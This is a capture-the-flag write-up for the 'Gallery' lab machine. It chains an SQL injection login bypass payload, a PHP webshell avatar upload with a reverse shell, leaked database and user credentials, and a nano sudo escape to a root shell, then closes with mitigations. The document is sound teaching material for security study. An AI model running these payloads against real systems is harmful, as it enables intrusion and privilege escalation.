Summary
Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as www-data. Database credentials recovered from the source lead to the gallery_db MySQL instance, and a world-readable backup of a user's .bash_history leaks a plaintext password for the user mike. Once logged in as mike, a misconfigured sudo rule allows running /opt/rootkit.sh as root with no password; the script shells out to nano as root, which is abused as a GTFOBin to spawn a root shell.
1. Recon
rustscan -a <MACHINE_IP> --ulimit 5000
Open <MACHINE_IP>:22
Open <MACHINE_IP>:80
Open <MACHINE_IP>:8080
nmap -A <MACHINE_IP> -p 22,80,8080 -oN gallery-nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to /gallery/login.php:
<script>location.href="http://<MACHINE_IP>/gallery/./login.php"</script>
This revealed the real document root is /gallery/ under the port-80 vhost, and the app is "Simple Image Gallery System" by oretnom23, v1.0.
2. SQL Injection Auth Bypass
The login form posts a username and password to login.php. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:
- Username:
' or 1=1-- - - Password: anything (
1234used here)
This logged straight in as the first user in the users table, the admin account, confirming the login query is unparameterized and string-concatenated.
3. Admin Panel -> Arbitrary File Upload -> RCE
Once authenticated as admin, the profile page at ?page=user exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under uploads/, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:
penelope listen -p 4444
Triggering the shell gave an interactive callback:
[+] [New Reverse Shell] => ip-<MACHINE_IP> <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
www-data@ip-<MACHINE_IP>:/$ whoami
www-data
www-data@ip-<MACHINE_IP>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4. Source Review and Database Access
Reading the application source confirmed the injection point and surfaced database credentials:
www-data@ip-<MACHINE_IP>:/var/www/html/gallery$ cat initialize.php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0', ... );
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"passw0rd321");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
Using these credentials directly against the local MySQL instance (binding only to 127.0.0.1:3306) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:
www-data@ip-<MACHINE_IP>:/var/www$ mysql -u gallery_user -p'passw0rd321' -h 127.0.0.1 -e "use gallery_db; select * from users;"
+----+--------------+----------+----------+----------------------------------+
| id | firstname | lastname | username | password |
+----+--------------+----------+----------+----------------------------------+
| 1 | Adminstrator | Admin | admin | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+
This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.
5. Local Enumeration and Lateral Movement to mike
www-data@ip-<MACHINE_IP>:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash
/home/mike itself wasn't readable, but a backup copy of the home directory was world-readable:
www-data@ip-<MACHINE_IP>:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root 135 May 24 2021 .bash_history
www-data@ip-<MACHINE_IP>:/var$ cat /var/backups/mike_home_backup/.bash_history
cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -lb3stpassw0rdbr0xx
clear
sudo -l
exit
The line sudo -lb3stpassw0rdbr0xx is mike typing his sudo password straight after sudo -l without a space (the shell echoed it back into history as one token). The password is b3stpassw0rdbr0xx.
www-data@ip-<MACHINE_IP>:/var$ su mike
Password:
mike@ip-<MACHINE_IP>:/var$ cd ~
mike@ip-<MACHINE_IP>:~$ cat user.txt
THM{REDACTED}
6. Privilege Escalation: sudo rootkit.sh -> nano GTFOBin
mike@ip-<MACHINE_IP>:~$ sudo -l
User mike may run the following commands on ip-<MACHINE_IP>:
(root) NOPASSWD: /bin/bash /opt/rootkit.sh
mike@ip-<MACHINE_IP>:~$ cat /opt/rootkit.sh
#!/bin/bash
read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;
case $ans in
versioncheck)
/usr/bin/rkhunter --versioncheck ;;
update)
/usr/bin/rkhunter --update;;
list)
/usr/bin/rkhunter --list;;
read)
/bin/nano /root/report.txt;;
*)
exit;;
esac
The read branch opens /root/report.txt in nano as root. Modern nano supports executing a command and piping its output into the buffer (Ctrl+R, Ctrl+X), which runs as the nano process's user - root here:
mike@ip-<MACHINE_IP>:~$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read
Inside nano: Ctrl+R -> Ctrl+X -> Execute Command prompt -> entered:
reset; sh 1>&0 2>&0
This spawned an interactive root shell inside the nano session:
# whoami
root
# cd /root
# ls
report.txt root.txt
# cat root.txt
THM{REDACTED}
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | SQL injection, auth bypass | login.php |
Unauthenticated admin login |
| 2 | Unrestricted file upload | Admin profile avatar upload (?page=user) |
PHP webshell upload -> RCE as www-data
|
| 3 | Hardcoded DB credentials in source | initialize.php |
Full access to gallery_db
|
| 4 | World-readable backup with plaintext password in shell history | /var/backups/mike_home_backup/.bash_history |
Credential disclosure, lateral movement to mike
|
| 5 | Overly permissive sudo rule + GTFOBin (nano) |
sudo -l -> /opt/rootkit.sh -> nano
|
Privilege escalation to root |
Attack Chain
Nmap scan (22, 80, 8080)
│
▼
Simple Image Gallery System on :8080
│
▼
SQL injection auth bypass (' or 1=1-- -)
│
▼
Logged in as admin
│
▼
Unrestricted avatar upload -> PHP webshell
│
▼
RCE as www-data (reverse shell)
│
▼
initialize.php leaks DB creds -> gallery_db confirmed
│
▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
│
▼
su mike -> user.txt
│
▼
sudo -l: NOPASSWD /opt/rootkit.sh
│
▼
rootkit.sh -> nano /root/report.txt (as root)
│
▼
nano Execute Command GTFOBin -> root shell
│
▼
root.txt
Mitigations
- Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.
- Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.
- Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.
- Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.
- Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like
nano,vim,less, etc. Usesudoeditor a restricted editor mode instead.
Top comments (0)